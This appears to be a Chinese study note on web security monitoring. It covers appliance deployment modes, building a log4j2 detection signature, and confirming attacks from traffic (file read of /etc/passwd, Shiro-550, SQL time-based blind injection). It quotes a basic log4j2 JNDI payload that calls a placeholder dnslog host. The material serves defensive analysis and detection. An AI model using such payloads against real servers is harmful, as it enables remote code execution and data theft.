跳转至

第三章 01 Web 安全监测与分析

学习文章:图文详解|安全设备的几种部署方式_网络安全研究所的博客-CSDN博客 image.png

Web安全设备上架

web 安全防护设备如何部署?

image.png 镜像部署就是旁路由部署,比如 IDS、 TAR、CS plus、NFT TAR 天阗威胁分析一体机(Threat Analysis and Response-All In One,以下简称TAR)是以攻防研究为核心,配合场景分析、资产构建、自动响应、协同防御能力,构建下一代一体化高级威胁检测与响应体系,意在为客户提供一套集检测、分析、可视、闭环响应为一体的本地网络安全分析中心。 TAR针对恶意代码等未知威胁具有细粒度检测效果,可实现包括对:未知恶意代码检查、嵌套式攻击检测、木马蠕虫病毒识别、隐秘通道检测等多类型未知漏洞(0-day)利用行为的检测。具备全流量双向检测、沙箱检测能力、提供多价值分析场景、情报赋能提升检测和分析能力、联动处置能力等功能,可有效帮助用户监测高级威胁APT攻击,应急处置僵木蠕爆发、失陷主机定位等问题,同时帮助有重保、攻防演练需求的用户用于一体化全流量威胁感知监测。

(1)串联模式

顾名思义,在这种工作模式下,安全设备是串联在网络链路中的,所有的网络流量都会经过安全设备过滤,再转发出去。串联模式又分为两种,一是路由模式,二是透明模式。 ①路由模式 路由模式也叫作网关模式,是指把安全设备当做一个路由设备或网关来使用。局域网中的出局流量先指向安全设备的内网口IP地址,安全设备通过静态或动态路由配置或者NAT地址转换,将数据发送出去。 ②透明模式 透明模式也称网桥模式、桥接模式,工作在这种模式时,原有的网络设备不用更改任何配置,在网络链路上完全透明。对于安全设备不用配置与交换机、路由器互联的IP地址,只需要配置一对内部桥接用的IP地址即可。

(2)旁路模式

在旁路模式下,安全设备在网络结构中处于旁路状态。旁路模式可以分为旁路监听模式和旁路代理模式。 ①旁路监听模式 所谓的旁路监听模式,指安全设备部署于交换机旁路,通过配置交换机镜像功能,将进出口流量一模一样镜像一份给安全设备,原有流量走向不变。安全设备通过镜像流量对网络、应用系统状态进行监听、检测和分析。 ②旁路代理模式 安全设备工作于旁路代理模式时,设备相当于代理网关。此时,需要更改网络配置,将所有的网络数据及访问流量指向旁路的安全设备,经过安全设备过滤后,再返回交换机。

通过拓扑图对比一下流量走向。

哪些设备用这两种旁路模式?优缺点是什么?

  • 常见的旁路部署的设备一般是IDS、负载均衡、漏洞扫描等检测分析类的设备。
  • 旁路监听模式部署方式简单,设备上下线对网络没有任何影响。但是由于是镜像流量,安全设备只能看,很难对网络流量进行拦截、过滤等操作,功能稍微简单。
  • 旁路代理模式可以实现对网络流量的过滤、拦截、重分发功能,但是部署方式较为复杂,而且设备故障后,会对网络产生重大影响,故障恢复时间较长。
  • 安全设备部署时,具体选用哪种模式,还得看具体的网络环境,以及你想实现的功能需求。

安全设备监测逻辑

安全产品如何在流量上检测安全事件?

首先我们需要进行协议识别,即确定这一条流的协议 随后根据特定的协议进入特定的分组,进行检测,流量检测的关键点在于特征事件与算法。

接下来我们根据一个简单的案例来看一条特征事件是如何产生。 以去年火热的log4j2漏洞为案例 基础Payload: {jndi:ldap:// xxxx.dnslog.cn/exp} 通过payload我们可以看到一个特殊的字符“”,这个在log4j2中用来获取自定义的属性随后是一对“{ }”然后是jndi(JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口),接着是协议://远程地址/恶意类。 但是这个数据在web安全的层面是通过http/https的请求发送到我们服务端。 通过对payload的拆分,我们可以继续进行分析,payload中哪些部分是变量,哪些部分是不变的常量。

我们将常量先提取出来 $、jndi、ldap、rmi、{}等,然后再通过某些方法将变量提取出来,比如xxxx.dnslog.cn/exp我们可以通过正则表达式来提取。 接下来就是payload的位置,他可能存在于请求体、请求头、URL中那么我们的逻辑就可以确定下来:

如果满足http.URL 或http.Header 或 http.Body 包含 ${jndi:ldap/rmi://正则表达式/}这个条件, 我们产品就会产生一条安全事件,即log4j2远程代码执行

这样我们就获得了一条可以用来检测基础log4i2注入的事件特征。随后我们便可以开始对该特征进行测试,发布到产品上发挥产品的功能。 这只是一个基础的、低级的检测特征,真正的发型版本比这复杂的多,我们为了分析而学习这个简单的提取逻辑即可。

Web安全设备工作逻辑的总结:

  1. 安全研究员根据漏洞的形成原因分析漏payload
  2. 根据payload在流量中的表现定义检测方法(算法、规则等)
  3. 进行测试
  4. 通过测试后发布到产品

web 安全设备与人工流量分析

分析问题的前置条件 a. 需要读懂payload的能力 b. 需要有一定的流量分析基础

为什么需要web安全分析? web安全分析是通过对安全产品的安全事件进行分析,确认当前web站点的安全性。

web安全分析的目的: 事件的产生源于漏洞的利用方法,通过对事件的分析检查web站点的安全性。可以在事中发现异常情况进行封堵、事后进行溯源。

流量分析流程

分析的流程: 第一步:确定攻击者的目的 第二部:根据攻击者的目的来分析流量 第三部:根据对流量的分析来确定事件的结果

如何确定攻击者的目的?

  1. 产品告警产生的安全事件,都会通过事件名+说明来解释此事件,我们可以从事件名与说明中获取一部分信息。
  2. 事件名比较多标注为漏洞类型,所以不同的漏洞类型一定程度上能说明攻击者的目的。
  3. 看懂payload且熟知漏洞原理能判断出最准确的目的。

如何根据攻击者的目的来分析流量 可以从右边看到我们将预期目的分为几大类,其次每个分类中有对应这种预期目的所使用的漏洞,以及这种漏洞可能存在的状态。而我们的基础要求是

  1. 需根据事件名(事件说明)来判断当前时间的预期目的。
  2. 根据预期目的结合流量来分析安全事件并下定结论。

通过案例分析:

文件上传任意文件读取

  1. 分析告警的预期目的,通过对TAR、IDS产品的告警进行分析。

首先告诉我们根据告警名称与告警的详情进行判断,该事件攻击者的预期目的是什么

image.png 通过了漏洞类型与事件名称,我们可以很快的确认该事件为---文件操作类型---任意文件读取 接下来我们只需要去确认报文中的内容,查看报文详情来确定攻击在读取什么文件,以及是否读取成功。

  1. 通过详细 - 研判 -下载报文对流量进行分析

随后通过wireshark对报文分析,可以发现攻击者的主要payload位于请求URL中,获取目标服务器的”etc/passwd”,这种类型我们根据响应体就能确认攻击者利用漏洞成功 image.png image.png 通过以上流量,确认流量的攻击成功。

shrio 550 案例

  1. 根据该shrio 550 反序列化漏洞原理:

Payload产生的过程:命令→序列化→AES加密→base64加密→RememberMe Cookie值

  1. 攻击者需要爆破,得到一个硬编码的key,来完成AES加密
  2. 需要base64 解码

一点小技巧: 在面对聚合分析时,普遍优先分析最近的告警,最近的告警会伴随攻击者的最新动作。可以较快完成研判。

image.png image.png image.png

首先攻击者必须通过某些方法来协助完成漏洞的利用,那么理解漏洞原理和读懂payload是不可或缺的。

无回显的分析

首先攻击者必须通过某些方法来协助完成漏洞利用,所以可能出现如下情况:

  • 通信请求流量来研判
  • 通信时间来研判那么如何发现攻击者是通过什么方法来协助利用漏洞,对payload的分析,不可或缺的能力:理解攻击原理和读懂payload。

通过案例分析:

流量分析

1、通过通信流量进行分析 对于部分存在需要使用dnslog来协助判断的漏洞,存在通用的分析方法,前提需要现场拥有全流量存储设备。此类特征同时存在于反序列化、ssrf、sq1注入、xxe等漏洞中。攻击者利用dnslog来辅助利用漏洞。 image.png image.png

  1. 判定方法:通过全流量存储设备NFT,检查被攻击的服务器IP与目标恶意服务器的通信流量,发现存在通信的流量,其协议为DNS/LDAP等协议的通信流量,确认攻击者攻击漏洞利用成功。

image.png

  1. 通过通信时间来研判

在无回显的漏洞利用中,攻击者利用代码执行来进行一定的延时,从而柑橘响应的时间来进行漏洞的判断。 在常见的无回显漏洞利用中,通过延时来辅助漏洞的利用也很常见,以sql时间盲注为例。观察到TAR告警SQLMAP注入扫描告警。其中明显可见存在sleep与逻辑语句,此时根据响应内容无法判断出任何结果。 image.png

打开流量包,在过滤器中过滤出http协议以及http.time,随后找到HTTP response]栏中的[ Time since request]字段。 image.png

随后将他应用为列,wireshark的Packet List 界面中,可以看到已经多出一列[ Time since request ]。 这里可以查看一个请求对应的响应时间。 image.png 随后根据对应的sql注入语句语法以及响应时间来进行结果研判。 如下图所示,可见服务器延时了5秒响应该请求,判断这个点注入利用成功。 image.png 总结 1、根据漏洞的类型和事件的说明来判断攻击者的预期目的 2、根据攻击者利用状态结合流量进一步分析

  1. 达到了预期目的 → 结论攻击成功
  2. 未达到预期目的 → 结论攻击失败

实战分析:

image.png 点击小眼睛

image.png image.png image.png image.png